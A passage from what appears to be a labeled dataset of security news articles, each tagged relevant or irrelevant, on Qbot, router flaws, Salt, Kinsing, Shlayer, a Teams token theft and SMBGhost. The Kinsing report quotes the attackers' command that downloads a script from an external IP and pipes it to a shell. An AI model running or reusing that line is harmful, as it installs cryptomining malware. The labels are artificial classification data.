it,” F5 researchers said. “The attackers then use the always-running explorer.exe process to update Qbot from their external command-and-control server.” The latest version of Qbot shows that long-time malware can still be dangerous, researchers said. “It’s not surprising that malware from over 10 years ago is still active and recoded for new attacks,” James McQuiggan, security awareness advocate at KnowBe4, said via email. “Cybercriminals have seen it work successfully in the past and update the code and concepts by injecting it into known processes, which are accepted by anti-malware applications.” He added that as always, user awareness can go a long way to thwarting attacks like this. “Employees in the organization should be aware that visiting unfamiliar or unknown websites can deliver side-channel attacks and bypass the security of their system,” McQuiggan said. “They should be mindful of how to alert their security teams in the event of strange behaviors, especially social engineering scams, like phishing.”",irrelevant
"Report: Most Popular Home Routers Have ‘Critical’ Flaws Common devices from Netgear, Linksys, D-Link and others contain serious security vulnerabilities that even updates don’t fix. A security review of 127 popular home routers found most contained at least one critical security flaw, according to researchers. The “Home Router Security Report” (PDF) by Peter Weidenbach and Johannes vom Dorp—both from the German think tank Fraunhofer Institute–found that not only did all of the routers they examined have flaws, many “are affected by hundreds of known vulnerabilities,” the researchers said. On average, the routers analyzed–—by vendors such as D-Link, Netgear, ASUS, Linksys, TP-Link and Zyxel—were affected by 53 critical-rated vulnerabilities (CVE), with even the most “secure” device of the bunch having 21 CVEs, according to the report. Researchers did not list the specific vulnerabilities. Researchers examined the routers based on several key aspects: device updates, version of operating system and any known critical vulnerabilities affecting them; exploit mitigation techniques by vendors and how often they activate them; the existence of private cryptographic key material in the router’s firmware; and the existence of hard-coded login credentials. “To sum it up, our analysis shows that there is no router without flaws and there is no vendor who does a perfect job regarding all security aspects,” Weidenbach and vom Dorp wrote. “Much more effort is needed to make home routers as secure as current desktop or server systems.” While people make common mistakes when configuring home routers–thus leading to security issues–they are not the primary reasons for the lack of security found among the devices, researchers said. Their analysis clearly shows that device vendors, despite knowing the security risks, are still doing a rather dismal job to ensure that routers are secure even before users take them out of the box. Researchers used an automated approach to check the router’s most recent firmware versions for five security-related aspects. Of the 127, they managed to extract 117 completely, finding that 116, or 91 percent, were running Linux. While Linux can be a very secure OS in theory, researchers found that many of the routers were powered by very old versions of Linux that lack support and thus are rife with issues, they said. “Most devices are still powered with a 2.6 Linux kernel, which is no longer maintained for many years,” researchers wrote. “This leads to a high number of critical and high-severity CVEs affecting these devices.” Another key problem affecting the security situation of the routers was the device firmware is not updated as often as it should be. However, even updates to the router’s firmware didn’t solve the problems in many cases. Moreover, vendors rarely used common exploit mitigation techniques that serve to make a home device more secure, using passwords that can easily be cracked by threat actors or even well-known passwords that users can’t change even if they want to. Providing hard-coded credentials is an especially vulnerable situation for a device, as evidenced by the destructive Mirai botnet, which used hard-coded telnet credentials to infect millions of embedded devices, researchers noted. Most of the firmware images researchers analyzed also provided private cryptographic key material. “This means, whatever they try to secure with a public-private crypto mechanism is not secure at all,” researchers wrote. Some vendors seem to prioritize security a bit more than others, according to the report. AVM International was the best of the bunch in terms of all the security aspects researchers examined, although the company’s routers also contained flaws, they said. ASUS and Netgear also prioritized several aspects of device security more than some of the other vendors. Both update their routers more frequently than their rival companies, and use more current, supported versions of the Linux kernel for their firmware, researchers found. Among the routers examined, those from D-Link, Linksys, TP-Linkand Zyxel fared the worst in terms of how well common security aspects were addressed out of the box, according to the report.",relevant
"Researchers Warn of High-Severity Dell PowerEdge Server Flaw A path traversal vulnerability in the iDRAC technology can allow remote attackers to take over control of server operations. Researchers have disclosed details of a recently patched, high-severity Dell PowerEdge server flaw, which if exploited could allow an attacker to fully take over and control server operations. The web vulnerability was found in the Dell EMC iDRAC remote access controller, technology embedded within the latest versions of Dell PowerEdge servers. While the vulnerability was fixed earlier in July, Georgy Kiguradze and Mark Ermolov, the researchers with Positive Technologies who discovered the flaw, published a detailed analysis, Tuesday. The path traversal vulnerability (CVE-2020-5366), found in Dell EMC iDRAC9 versions prior to 4.20.20.20, is rated as a 7.1 in terms of exploitability, giving it a high-severity vulnerability rating, according to an advisory published online by Dell. Path traversal is one of the three most common vulnerabilities researchers said that they come across in their investigations. If exploited, the flaw can allow attackers to view the content of server folders that should not be accessible even to someone who’s logged in as an ordinary site user. iDRAC runs on Linux, and the specific appeal to hackers in exploiting the vulnerability would be the ability to read the file /etc/passwd, which stores information about Linux users, the researchers said. An example of how this can be used by attackers is a recent attack on two vulnerabilities found on the Zoom video conferencing app that could allow remote attackers to breach the system of any participant in a group call. Indeed, a remote, authenticated malicious user with low privileges could potentially exploit the iDRAC flaw by manipulating input parameters to gain unauthorized read access to the arbitrary files, Dell EMC warned in its advisory. iDRAC is designed to allow IT administrators to remotely deploy, update, monitor and maintain Dell servers without installing new software. Dell has already released an update to the iDRAC firmware that fixes the flaw and it recommends customers update as soon as possible. The vulnerability can only be exploited if iDRAC is connected to the internet, which Dell EMC does not recommend, researchers said. IDRAC also is a relatively new technology in Dell EMC servers, which means it may not be widely used yet. Still, researchers said that public search engines already discovered several Internet-accessible connections to iDRAC that could be exploited, as well as 500 controllers available for access using SNMP. The iDRAC controller is used by network administrators to manage key servers, “effectively functioning as a separate computer inside the server itself,” Kiguradze explained in a press statement. “iDRAC runs on ordinary Linux, although in a limited configuration, and has a fully-fledged file system,” he said. “The vulnerability makes it possible to read any file in the controller’s operating system, and in some cases, to interfere with operation of the controller–for instance during reading symbolic Linux devices like /dev/urandom.” Attackers can exploit the flaw externally by obtaining the back-up of a privileged user or if they have credentials or brute-force their way in, Kiguradze said. They also could use the account of a junior administrator with limited server access to exploit the flaw internally, he said. Once an attacker gains control, he or she can externally block or disrupt the server’s operation. To better secure Dell servers that use iDRAC, researchers recommended that customers place iDRAC on a separate administration network and don’t connect the controller to the internet. Companies also should isolate the administration network or VLAN (such as with a firewall) and restrict access to the subnet or VLAN to authorized server administrators only. Other recommendations by Dell EMC to secure iDRAC against intrusion include using 256-bit encryption and TLS 1.2 or later; configuration options such as IP address range filtering and system lockdown mode; and additional authentication such as Microsoft Active Directory or LDAP.",relevant
"Salt Bugs Allow Full RCE as Root on Cloud Servers Researchers say the bugs are easy to exploit and will likely be weaponized within a day. The open-source Salt management framework contains high-severity security vulnerabilities that allow full remote code execution as root on servers in data centers and cloud environments. And in-the-wild attacks are expected imminently. According to F-Secure researchers, the framework, authored by the company SaltStack but also used as an open-source configuration tool to monitor and update the state of servers, has a pair of flaws within its default communications protocol, known as ZeroMQ. A bug tracked as CVE-2020-11651 is an authentication bypass issue, while CVE-2020-11652 is a directory-traversal flaw where untrusted input (i.e. parameters in network requests) is not sanitized correctly. This in turn allows access to the entire filesystem of the master server, researchers found. The bugs are especially dangerous given the topography of the Salt framework. “Each server [managed by Salt] runs an agent called a ‘minion,’ which connects to a ‘master,'” explained F-Secure, in a writeup on Thursday. “[A master is a] Salt installation that collects state reports from minions and publishes update messages that minions can act on.” These update messages are usually used to change the configuration of a selection of servers, but they can also be used to push out commands to multiple, or even all, of the managed systems, researchers said. An adversary thus can compromise the master in order to send malicious commands to all of the other servers in the cluster, all at the same time. Lapses in Protocol To communicate, the master uses two ZeroMQ channels. As F-Secure explained, one is a “request server” where minions can connect to report their status (or the output of commands). The other is a “publish server” where the master publishes messages that the minions can connect and subscribe to. The authentication bypass can be achieved because the ClearFuncs class processes unauthenticated requests and unintentionally exposes the “_send_pub().” This is the method used to queue messages from the master publish server to the minions – and thus can be used to send arbitrary commands. Such messages can be used to trigger minions to run arbitrary commands as root. Also, “the ClearFuncs class also exposes the method _prep_auth_info(), which returns the root key used to authenticate commands from the local root user on the master server. This root key can then be used to remotely call administrative commands on the master server. This unintentional exposure provides a remote un-authenticated attacker with root-equivalent access to the salt master.” As for the directory traversal, the “wheel” module contains commands used to read and write files under specific directory paths. “The inputs to these functions are concatenated with the target directory and the resulting path is not canonicalized, leading to an escape of the intended path restriction,” according to the writeup. “The get_token() method of the salt.tokens.localfs class (which is exposed to unauthenticated requests by the ClearFuncs class) fails to sanitize the token input parameter which is then used as a filename, allowing…the reading of files outside of the intended directory.” The bugs together allow attackers “who can connect to the request server port to bypass all authentication and authorization controls and publish arbitrary control messages, read and write files anywhere on the master server filesystem and steal the secret key used to authenticate to the master as root,” according to the firm. According to the National Vulnerability Database, “The salt-master process ClearFuncs class does not properly validate method calls. This allows a remote user to access some methods without authentication. These methods can be used to retrieve user tokens from the salt master and/or run arbitrary commands on salt minions.” Exploits in Less Than a Day F-Secure said that it expects to see attacks in the wild very shortly. “We expect that any competent hacker will be able to create 100 percent reliable exploits for these issues in under 24 hours,” the researchers said, citing the “reliability and simplicity” of exploitation. Unfortunately, the firm also said that a preliminary scan has revealed more than 6,000 potentially vulnerable Salt instances exposed to the public internet. Patches are available in release 3000.2. Also, “adding network security controls that restrict access to the salt master (ports 4505 and 4506 being the defaults) to known minions, or at least block the wider internet, would also be prudent as the authentication and authorization controls provided by Salt are not currently robust enough to be exposed to hostile networks,” F-Secure concluded. To detect a compromise, ASCII strings “_prep_auth_info” or “_send_pub” will show up in the request server port data (default 4506). Also on the detection front, “published messages to minions are called ‘jobs’ and will be saved on the master (default path /var/cache/salt/master/jobs/). These saved jobs can be audited for malicious content or job IDs (‘jids’) that look out of the ordinary,” F-Secure noted.",relevant
"SAS@home Virtual Summit Showcases New Threat Intel, Industry Changes The free online conference, scheduled for April 28-30, will feature top security researchers from across the industry. As the COVID-19 pandemic continues to force in-person cybersecurity event cancellations, Kaspersky is forging ahead with a virtual security summit, SAS@home. Topics on the agenda include threat intel on advanced persistent threats (APTs), new vulnerability research, and topics related to a post-crisis world – such as how the industry is changing because of the pandemic. The online conference, scheduled for April 28-30, is meant to complement the firm’s annual Security Analyst Summit (SAS). The in-person SAS event was originally scheduled for April in Barcelona, and will now take place in November – with SAS@home providing an opportunity for community to come together and share insights and research in the meantime. Experts from across the IT security industry will present three days of knowledge sharing, pecha-kucha moments, “fireside chats” and Master Class training sessions. The sessions will be presented live, free to all participants via the ON24 webinar platform, with on-demand replays available after the fact. The event will run each day from 11 a.m. to 1 p.m. ET. “[Attendees] will enjoy a unique opportunity to chat online and learn from some of the world’s leading cybersecurity researchers and influencers in a welcoming atmosphere, while also taking a deep dive into a top-notch program of topical presentations typical for the regular SAS,” Kaspersky said in a media statement. Presentations will cover new, unpublished research as well as the latest evolutions of known trends. For instance, “Hiding in Plain Sight: An APT Comes into a Market” on Tuesday will feature Kaspersky researchers Alexey Firsh and Lev Pikman opening the kimono on previously undisclosed threat intelligence regarding a nation-state cybercriminal group. Meanwhile, “Zero-day Exploits of Operation WizardOpium,” also on Tuesday, will feature Kaspersky researchers Anton Ivanov and Boris Larin offering a deep dive and new information regarding the weapons arsenal of a sophisticated threat group. The group shares characteristics with known APTs like DarkHotel and Lazarus Group – but have evaded any serious attribution attempts. WizardOpium attacks were seen in November using a zero-day for Google’s Chrome browser (CVE-2019-13720) and in December exploiting yet another to gain elevation-of-privilege (CVE-2019-1458) on targets as well as to escape the Chrome process sandbox. Also of note in the agenda are presentations from third-party researchers, including Joe FitzPatrick, researcher with Securing Hardware; Ryan Naraine, director of security strategy at Intel; Sounil Yu, CISO in residence at YL Ventures; and Alex Frappier, director of strategic partnerships with the CanCyber Foundation. Other third-party speakers are to be announced. FitzPatrick, who spoke at last year’s SAS event in Singapore, will use his session on Tuesday, “Hardware Hacking Under Quarantine,” to show off almost a dozen unique avenues where an attacker might access PCI express interfaces in a computer’s hardware in order to mount a direct memory access (DMA) attack on the target system. “Up to this point the majority of the research has been done against laptop, desktop and server systems through full-size PCI express ports or Thunderbolt ports,” FitzPatrick told Threatpost. “I quickly show a bunch of places, including on smaller embedded devices, where this can also be done.” FitzPatrick’s session will be in a pecha-kucha 20×20 presentation format, where the speaker shows 20 images, each for 20 seconds, to tell a 400-second story with visuals guiding the way. Another pecha-kucha presentation will come from Kaspersky’s David Jacoby, who also spoke at last year’s event. For SAS@home, he’ll be presenting on “How Does COVID-19 Affect the Internet?” on Wednesday. CanCyber’s Frappier meanwhile will be giving a deep-dive training Master Class on Thursday on the importance of body language. Specifically, he’ll be discussing how red teams can use an understanding of nonverbal cues as a way to increase their chances of success while making impersonation or “vishing” attacks. Frappier told Threatpost that the subject is important in the context of today’s threat landscape given that falling for social-engineering attacks is an enduring issue, and at the same time, video has become an important communication avenue in today’s challenging times. “We have a difficult time reading people, and our adversaries are aware of this,” he told Threatpost. “Yet, this is a two-way street. Better reading and understanding of the nonverbal will make us better at detecting important threats. Better encoding for our nonverbal message will allow us to become better communicators. We will get our message across and will get buy-in from managers and commercial partners.” As for the other planned sessions, Intel’s Naraine will offer a Tuesday fireside chat on what cybersecurity could look like in a post-crisis world, on the other side of the pandemic. Kaspersky’s Costin Raiu meanwhile will offer another Master Class (topic to be determined) on Wednesday; and on Thursday, Igor Kuznetsov of Kaspersky will present a session on “Static Binary Analysis: The Essentials.” The agenda will also feature a few surprise guests, according to conference organizers. You can keep up with the event via Threatpost, which will be providing daily reports on the virtual conference.",relevant
"Self-Propagating Lucifer Malware Targets Windows Systems A new devilish malware is targeting Windows systems with cryptojacking and DDoS capabilities. Security experts have identified a self-propagating malware, dubbed Lucifer, that targets Windows systems with cryptojacking and distributed denial-of-service (DDoS) attacks. The never-before-seen malware initially tries to infect PCs by bombarding them with exploits in hopes of taking advantage of an “exhaustive” list of unpatched vulnerabilities. While patches for all the critical and high-severity bugs exist, the various companies impacted by the malware had not applied the fixes. “Lucifer is a new hybrid of cryptojacking and DDoS malware variant that leverages old vulnerabilities to spread and perform malicious activities on Windows platforms,” said researchers with Palo Alto Networks’ Unit 42 team, on Wednesday in a blog post. “Applying the updates and patches to the affected software are strongly advised.” The vulnerabilities targeted by Lucifer include Rejetto HTTP File Server (CVE-2014-6287), Oracle Weblogic (CVE-2017-10271), ThinkPHP RCE (CVE-2018-20062), Apache Struts (CVE-2017-9791), Laravel framework CVE-2019-9081), and Microsoft Windows (CVE-2017-0144, CVE-2017-0145, and CVE-2017-8464). After successfully exploiting these flaws, the attacker then connects to the command-and-control (C2) server and executes arbitrary commands on the vulnerable device, said researchers. These commands include performing a TCP, UDP or HTTP DoS attack. Other commands allow the malware to drop an XMRig miner and launch cryptojacking attacks, as well as collecting interface info and sending the miner status to the C2. Researchers say that as of Wednesday, the XMR wallet has paid 0.493527 XMR (approximately $32). The malware is also capable of self-propagation through various methods. It scans either for open instances of TCP port 1433 or Remote Procedure Call (RPC) port 135. If either of these are open, the malware attempts to brute-force the login using a default administrator username and an embedded password list (a full list of the passwords used can be found on Unit 42’s analysis). It then copies and runs the malware binary on the remote host upon successful authentication. In addition to brute-forcing credentials, the malware leverages exploitation for self-propagation. If the Server Message Block (SMB) protocol (a network file sharing protocol) is open, Lucifer executes several backdoors. These include the EternalBlue, EternalRomance, and DoublePulsar exploits. Once these three exploits have been used, the certutil utility is then used to propagate the malware. Certutil.exe is a command-line program, installed as part of Certificate Services, that can be used to dump and display certification authority (CA) configuration information, configure Certificate Services, backup and restore CA components, and verify certificates. Lucifer has been discovered in a series of recent attacks that are still ongoing. The first wave occurred on June 10. The attackers then resumed their campaign on June 11 with an upgraded version of the malware. Researchers say these updates include the addition of an anti-sandbox capability, an anti-debugger technique, and new checks for device drivers, DLLs and virtual devices. These added capabilities show that the malware is growing in sophistication, researchers warn. They say, enterprises can protect themselves with simply security measures such as applying patches and strengthening passwords. “While the vulnerabilities abused and attack tactics leveraged by this malware are nothing original, they once again deliver a message to all organizations, reminding them why it’s utterly important to keep systems up-to-date whenever possible, eliminate weak credentials, and have a layer of defenses for assurance,” stressed researchers.",relevant
"Self-Propagating Malware Targets Thousands of Docker Ports Per Day A Bitcoin-mining campaign using the Kinsing malware is spreading quickly thanks to cloud-container misconfigurations. The Docker cloud containerization technology is under fire, with an organized, self-propagating cryptomining campaign targeting misconfigured open Docker Daemon API ports. Thousands of container-compromise attempts are being observed every day as part of the campaign, according to Gal Singer, a security researcher at AquaSec. The effort has been ongoing for months. However, since the beginning of the year, the number of daily attempts has far exceeded what was seen before, he said. “We…believe that these attacks are directed by actors with sufficient resources and the infrastructure needed to carry out and sustain such attacks, and that this is not an improvised endeavor,” he wrote, in an analysis posted on Friday. Kinsing’s Infection Routine The attack pattern starts with the attackers identifying a misconfigured Docker API port that has been left open to the public internet. They then access that open port and the Docker instance connected to it, and run a rogue Ubuntu container. The container issues a command that fetches the Kinsing malware, which in turn downloads and runs a cryptominer. In the final stage of the infection, Kinsing attempts to propagate to other containers and hosts. docker security misconfiguration kinsing Click to enlarge: A summary of the attack components. Source: AquaSec. The same initial command is used in every attack, according to Singer: “/bin/bash -c apt-get update && apt-get install -y wget cron;service cron start; wget -q -O – 142.44.191.122/d.sh | sh;tail -f /dev/null.” This command updates the Docker package in order to implement an installer, which in turn downloads a d.sh shell script. According to the analysis, the shell script does several things: It disables security measures and clears logs; kills any other malware or cryptominers and deletes any files related to them; kills any running rival malicious Docker containers and deletes their images; downloads the Kinsing malware and runs it; and uses the “crontab” function to download and run the same original script once every minute – presumably to maintain persistence. The Kinsing Malware Kinsing is a Golang-based Linux binary that uses several Go libraries, Singer explained. Those libraries are used to set up communication with a command-and-control (C2) server; monitor systems and processes; and establish a disk-backed key-value storage area to hold data. It’s main function though is to act as a dropper to load scripts and execute other malware. In the case of the current campaign, the next-stage payloads consist of a cryptominer and a “spr.sh” shell script that is used to laterally spread Kinsing across the container network. The cryptominer mines for Bitcoin, and is simply called “kdevtmpfsi.” It’s nothing special, Singer said: Like many other coin-miners, it connects to a host using a log in request over HTTP, receives further instructions and starts mining cryptocurrency. The interesting aspect of the attack is the shell script used for self-propagation. “In order to discover potential targets and locate the information it needs to authenticate against, the script passively collects data from ‘/.ssh/config, .bash_history, /.ssh/known_hosts,'” Singer explained. “Using the information gathered, the malware then attempts to connect to each host, using every possible user and key combination through SSH, in order to download the aforementioned [d.sh] shell script and run the malware on other hosts or containers in the network.” On the C2 front, Singer said that Kinsing’s servers appear to be in Eastern Europe. And, “it appears that there are dedicated servers for each function that the malware executes,” he noted in the research post. Docker Misconfigurations Persist Docker is no stranger to security snafus and exposures. In February, a slew of misconfigured Docker container registries inadvertently exposed source code for 15,887 unique versions of applications owned by research institutes, retailers, news media organizations and technology companies. Back in October, more than 2,000 unsecured Docker Engine (Community Edition) hosts were found to be infected by a cyptojacking worm dubbed Graboid (so-named after the sandworms in the 1990 Kevin Bacon movie, Tremors). And last May, it was discovered that for three years, some Alpine Linux Docker images had shipped with a root account and no password, opening the door for attackers to easily access vulnerable servers and workstations provisioned for the images. The existing attack “stands out as yet another example of the growing threat to cloud-native environments,” Singer wrote. “With deployments becoming larger and container use on the rise, attackers are upping their game and mounting more ambitious attacks, with an increasing level of sophistication.” DevSecOps teams can take steps to protect against the Kinsing threat and others, starting with making sure their Docker containers are locked down. To make sure things don’t fall through the cracks, Singer said that it’s important to identify all cloud resources and group them by some logical structure; review authorization and authentication policies and adjust them according to the principle of least privilege; avoid root user and privileged mode. Use Trivy the Open Source vulnerability scanner; and investigate logs and look for anomalous activities.",relevant
"Serious Exchange Flaw Still Plagues 350K Servers The Microsoft Exchange vulnerability was patched in February and has been targeted by several threat groups. Over 80 percent of exposed Exchange servers are still vulnerable to a severe vulnerability – nearly two months after the flaw was patched, and after researchers warned that multiple threat groups were exploiting it. The vulnerability in question (CVE-2020-0688) exists in the control panel of Exchange, Microsoft’s mail server and calendaring server. The flaw, which stems from the server failing to properly create unique keys at install time, opens servers up to authenticated attackers, who could execute code remotely on them with system privileges. Researchers recently used Project Sonar, a scanning tool, to analyze internet-facing Exchange servers and sniff out which were vulnerable to the flaw. Out of 433,464 internet-facing Exchange servers observed, at least 357,629 were vulnerable (as of March 24). “If your organization is using Exchange and you aren’t sure whether it has been updated, we strongly urge you to skip to the Taking Action section immediately,” said Tom Sellers, manager of the Rapid7 Labs team, in a Monday analysis. While the flaw was fixed as part of Microsoft’s February Patch Tuesday updates, researchers warned in a March advisory that unpatched servers are being exploited in the wild by unnamed advanced persistent threat (APT) actors. Attacks first started late February and targeted “numerous affected organizations,” researchers said. They observed attackers leverage the flaw to run system commands to conduct reconnaissance, deploy webshell backdoors and execute in-memory frameworks post-exploitation. Brian Gorenc, director of vulnerability research and head of Trend Micro’s ZDI program (which was credited with discovered the flaw) told Threatpost via email that while the vulnerability was labelled “important” in severity by Microsoft, researchers opine it should be treated as “critical.” “That’s why we worked with Microsoft to get it patched through coordinated disclosure, and it’s why we provided defenders detailed information about it through our blog,” he said. “We felt Exchange administrators should treat this as a Critical patch rather than Important as labelled by Microsoft. We encourage everyone to apply the patch as soon as possible to protect themselves from this vulnerability.” The patch management issues with Exchange servers extend beyond CVE-2020-0688. Sellers said his investigation revealed that over 31,000 Exchange 2010 servers have not been updated since 2012. And, there are nearly 800 Exchange 2010 servers that have never been updated, he said. Sellers urged admins to verify that an update has been deployed. He also said users can determine whether anyone has attempted to exploit the vulnerability in their environment: “Since exploitation requires a valid Exchange user account, any account tied to these attempts should be treated as compromised,” Sellers said. “The most important step is to determine whether Exchange has been updated,” Sellers said. “The update for CVE-2020-0688 needs to be installed on any server with the Exchange Control Panel (ECP) enabled. This will typically be servers with the Client Access Server (CAS) role, which is where your users would access Outlook Web App (OWA).”",relevant
"Shlayer Mac Malware Returns with Extra Sneakiness Spreading via poisoned Google search results, this new version of Mac’s No. 1 threat comes with added stealth. A fresh variant of the Shlayer Mac OSX malware with advanced stealth capabilities has been spotted in the wild, actively using poisoned Google search results in order to find its victims. According to researchers at Intego, the malware, like many malware samples before it, is purporting to be an Adobe Flash Player installer. However, it has its own unique characteristics: It takes a crafty road to infection once it’s downloaded, all in the name of evading detection. To start with, the masquerading “installer” is downloaded as a .DMG disk image, according to Intego’s analysis. “After the deceptive Flash Player installer is downloaded and opened on a victim’s Mac, the disk image will mount and display instructions on how to install it,” explained Joshua Long, chief security analyst at Intego, in a posting on Monday. Oddly, the instructions tell users to first right-click on the Flash Installer and select “Open,” and then to click Open in the resulting dialog box. But this “may be a bit puzzling to many casual Mac users,” Long pointed out. “Unlike typical Windows PCs, there is no obvious right-side button on Apple mice and trackpads. Therefore, novice Mac users may not know how to do the Mac equivalent of a right-click, and therefore may not understand how to run the malware installer script.” If a user gets past this and follows the instructions, the fake installer app launches. This app comes with a Flash Player icon and looks like a normal Mac app – but it’s actually a bash shell script. The bash shell sets about running itself in the Terminal app, where it extracts a self-embedded, password-protected .ZIP archive file. Inside the archive lies a Mac .APP bundle, which the installer places into a hidden temporary folder and then launches, before quitting Terminal. This activity happens in a “split second” in order to evade user notice, according to the firm. For a victim, nothing will seem amiss. Adding to the verisimilitude, the Mac .APP bundle in turn downloads a legitimate, Adobe-signed Flash Player installer, which acts as a cover for the hidden, malicious Mac app operating in the background. “The developers’ decision to hide the Mac .APP within a password-protected .ZIP file, and to hide that within a bash shell script, is a novel idea—and it is also extremely clear evidence that the developers are trying to evade detection by antivirus software,” Long noted. The hidden malware can from there lurk on the machine, ready to download any other Mac malware or adware package from a command-and-control (C2) server, whenever the operators feel like it. “This newly re-engineered malware purports to be a legitimate Flash Player installer, but it has the capability to surreptitiously download and install additional unwanted packages containing adware or spyware,” Long said. Shalyer last year made its way to the top of the heap when it comes to Mac’s most common threat — It made up 29 percent of all attacks on macOS devices in Kaspersky’s telemetry for 2019, making it the No. 1 Mac malware threat for the year. Previous versions also acted as installers for second-stage malware, and spread via fake apps. In the latest campaign, to lure victims in, its operators are using poisoned search results – specifically within Google Search. This is a well-worn approach in which malware distributors find vulnerable blogs or other sites with high Google search-engine rankings, compromise them, and add a redirection mechanism that bounces through a number of affiliate links – ultimately redirecting users to a fake Flash Player landing page. It should be said that although the Shlayer variant in this case was found via Google search results, any search engine is susceptible to the tactic, including Bing, Yahoo!, DuckDuckGo and so on. “While searching Google for the exact titles of YouTube videos, Intego’s research team encountered Google search results that, when clicked, pass through multiple redirection sites and end up on a page that claims the visitor’s Flash Player is out of date, and displays deceptive warnings and fake dialog boxes to entice the victim to download a supposed Flash Player updater—which is, in fact, a trojan horse,” Long said. For this specific malware campaign, it remains unclear how many sites are offering the malware and how many varieties of search results are poisoned, Intego said, especially since the malware is brand-new: As of Friday, the new malware installer and its payload had a 0/60 detection rate among all antivirus engines on VirusTotal, researchers found. The use of poisoned search results, a .DMG image and the gambit of a fake Adobe Flash installer is identical to the M.O. of another malware that Intego discovered, dubbed CrescentCore. This malware appeared last summer, but it used different evasion techniques from the new malware. It also installed malicious Safari browser extensions and dropped bloatware applications like “Advanced Mac Cleaner” on infected devices.",relevant
"Single Malicious GIF Opened Microsoft Teams to Nasty Attack Now patched flaw allowed attacker to take over an organization’s entire roster of Microsoft Teams accounts. Microsoft has fixed a subdomain takeover vulnerability in its collaboration platform Microsoft Teams that could have allowed an inside attacker to weaponize a single GIF image and use it to pilfer data from targeted systems and take over all of an organization’s Teams accounts. The attack simply involved tricking a victim into viewing a malicious GIF image for it to work, according to researchers at CyberArk who also created a proof-of-concept (PoC) of the attack. Microsoft neutralized the threat last Monday, updating misconfigured DNS records, after researchers reported the vulnerability on March 23.“Even if an attacker doesn’t gather much information from a [compromised] Teams’ account, they could use the account to traverse throughout an organization (just like a worm),” wrote Omer Tsarfati, CyberArk cyber security researcher, in a technical breakdown of its discovery Monday. “Eventually, the attacker could access all the data from your organization Teams accounts – gathering confidential information, competitive data, secrets, passwords, private information, business plans, etc.” The attack involves malicious actors being able to abuse a JSON Web Token (“authtoken”) and a second “skype token”. The combination of these two tokens are used by Microsoft to allow a Teams user to see images shared with them – or by them – across different Microsoft servers and services such as SharePoint and Outlook. The weakness is in the application programming interfaces (APIs) used to facilitate the communication between services and servers, Tsarfati said. The TL;DR version of the hack is, Microsoft validates the cookie called “authtoken” and “skype token” via *.teams.microsoft.com. Next, researchers were able to isolate and manipulate the tokens for the PoC attack. The “authtoken” and “skypetoken_asm” cookie is sent to teams.microsoft.com – or any sub-domain under teams.microsoft.com to authenticate GIF sender and receiver, Tsarfati wrote. As part of CyberArks research, they found two insecure Microsoft subdomains “aadsync-test.teams.microsoft.com” and “data-dev.teams.microsoft.com” ripe for takeover. “If an attacker can somehow force a user to visit the sub-domains that have been taken over, the victim’s browser will send this cookie to the attacker’s server, and the attacker (after receiving the authtoken) can create a Skype token. After doing all of this, the attacker can steal the victim’s Teams account data,” the research said. “Now with both tokens, the access token (authtoken) and the Skype token, [an attacker] will be able to make APIs calls/actions through Teams API interfaces – letting you send messages, read messages, create groups, add new users or remove users from groups, change permissions in groups,” researchers wrote. The novel aspect of this PoC is that all it takes to trigger the hack is the target of the attack viewing a malicious GIF sent by the rogue Teams user. “The reason that Teams sets the ‘authtoken’ cookie is to authenticate the user for loading images in domains across Teams and Skype,” explained the researcher. “When the victim opens this message, the victim’s browser will try to load the image and will send the authtoken cookie to the compromised sub-domain.” This allows the attacker to get their hands on the victim’s “authtoken” and ultimately provides a pathway to access the victim’s Microsoft Teams data. “The fact that the victim needs only to see the crafted message to be impacted is a nightmare from a security perspective. Every account that could have been impacted by this vulnerability could also have been a spreading point to all other company accounts. The vulnerability can also be sent to groups (a.k.a Teams), which makes it even easier for an attacker to get control over users faster and with fewer steps,” researcher wrote. Researchers said they worked with Microsoft Security Research Center after finding the account takeover vulnerability on March 23. They said Microsoft quickly deleted the misconfigured DNS records of the two subdomains, which mitigated the problem.",relevant
"SMBGhost RCE Exploit Threatens Corporate Networks The release of a PoC for the Windows flaw known as “SMBGhost” could set off cyberattack waves, CISA warned. The release of a fully functional proof-of-concept (PoC) exploit for a critical, wormable remote code-execution (RCE) vulnerability in Windows could spark a wave of cyberattacks, the feds have warned. Microsoft patched the bug tracked as CVE-2020-0796 back in March; also known as SMBGhost or CoronaBlue, it affects Windows 10 and Windows Server 2019. It exists in version 3.1.1 of the Microsoft Server Message Block (SMB) protocol – the same protocol that was targeted by the infamous WannaCry ransomware in 2017. SMB is a file-sharing system that allows multiple clients to access shared folders, and can provide a rich playground for malware when it comes to lateral movement and client-to-client infection. In this case, the bug is an integer overflow vulnerability in the SMBv3.1.1 message decompression routine of the kernel driver srv2.sys. Microsoft released its fix, KB4551762, as an update for Windows 10 (versions 1903 and 1909) and Windows Server 2019 (versions 1903 and 1909). “Although Microsoft disclosed and provided updates for this vulnerability in March 2020, malicious cyber-actors are targeting unpatched systems with the new PoC, according to recent open-source reports,” warned the Cybersecurity and Infrastructure Security Agency (CISA) on Friday. “CISA strongly recommends using a firewall to block SMB ports from the internet and to apply patches to critical- and high-severity vulnerabilities as soon as possible.” The author behind the PoC, who goes by “Chompie,” announced his exploit last week on Twitter. Several replies followed the original post, confirming that the exploit does in fact work. The PoC is notable because it achieves RCE – previous attempts to exploit SMBGhost have resulted only in denial of service or local privilege escalation, according to security analysts. “While there have already been many public reports and PoCs of LPE (Local Privilege Escalation), none of them have shown that RCE is actually possible so far,” said researchers at Ricerca Security, who did a full writeup of Chompie’s exploit. “This is probably because remote kernel exploitation is very different from local exploitation in that an attacker can’t utilize useful OS functions such as creating userland processes, referring to PEB, and issuing system calls.” Windows 10 also has specific mitigations that make RCE a much more difficult thing to achieve, they noted. “In the latest version of Windows 10, RCE became extremely challenging owing to almost flawless address randomization,” the researchers explained. “In a nutshell, we defeat this mitigation by abusing MDL (memory descriptor list)s, structs frequently used in kernel drivers for Direct Memory Access. By forging this struct, we make it possible to read from ‘physical’ memory. As basically no exception will occur when reading physical memory locations, we obtain a stable read primitive.” To protect networks, administrators should apply the updates; Microsoft also has offered workaround guidance for those that can’t patch. For instance, on the server side, companies can disable SMBv3 compression to block unauthenticated attackers, using a PowerShell command: Set-ItemProperty -Path “HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters” DisableCompression -Type DWORD -Value 1 -Force. No reboot is necessary. To protect unpatched SMB clients, Microsoft noted that it’s possible to block traffic via firewalls and other methods. Companies can for instance simply block TCP port 445 at the enterprise perimeter firewall (though systems could still be vulnerable to attacks from within 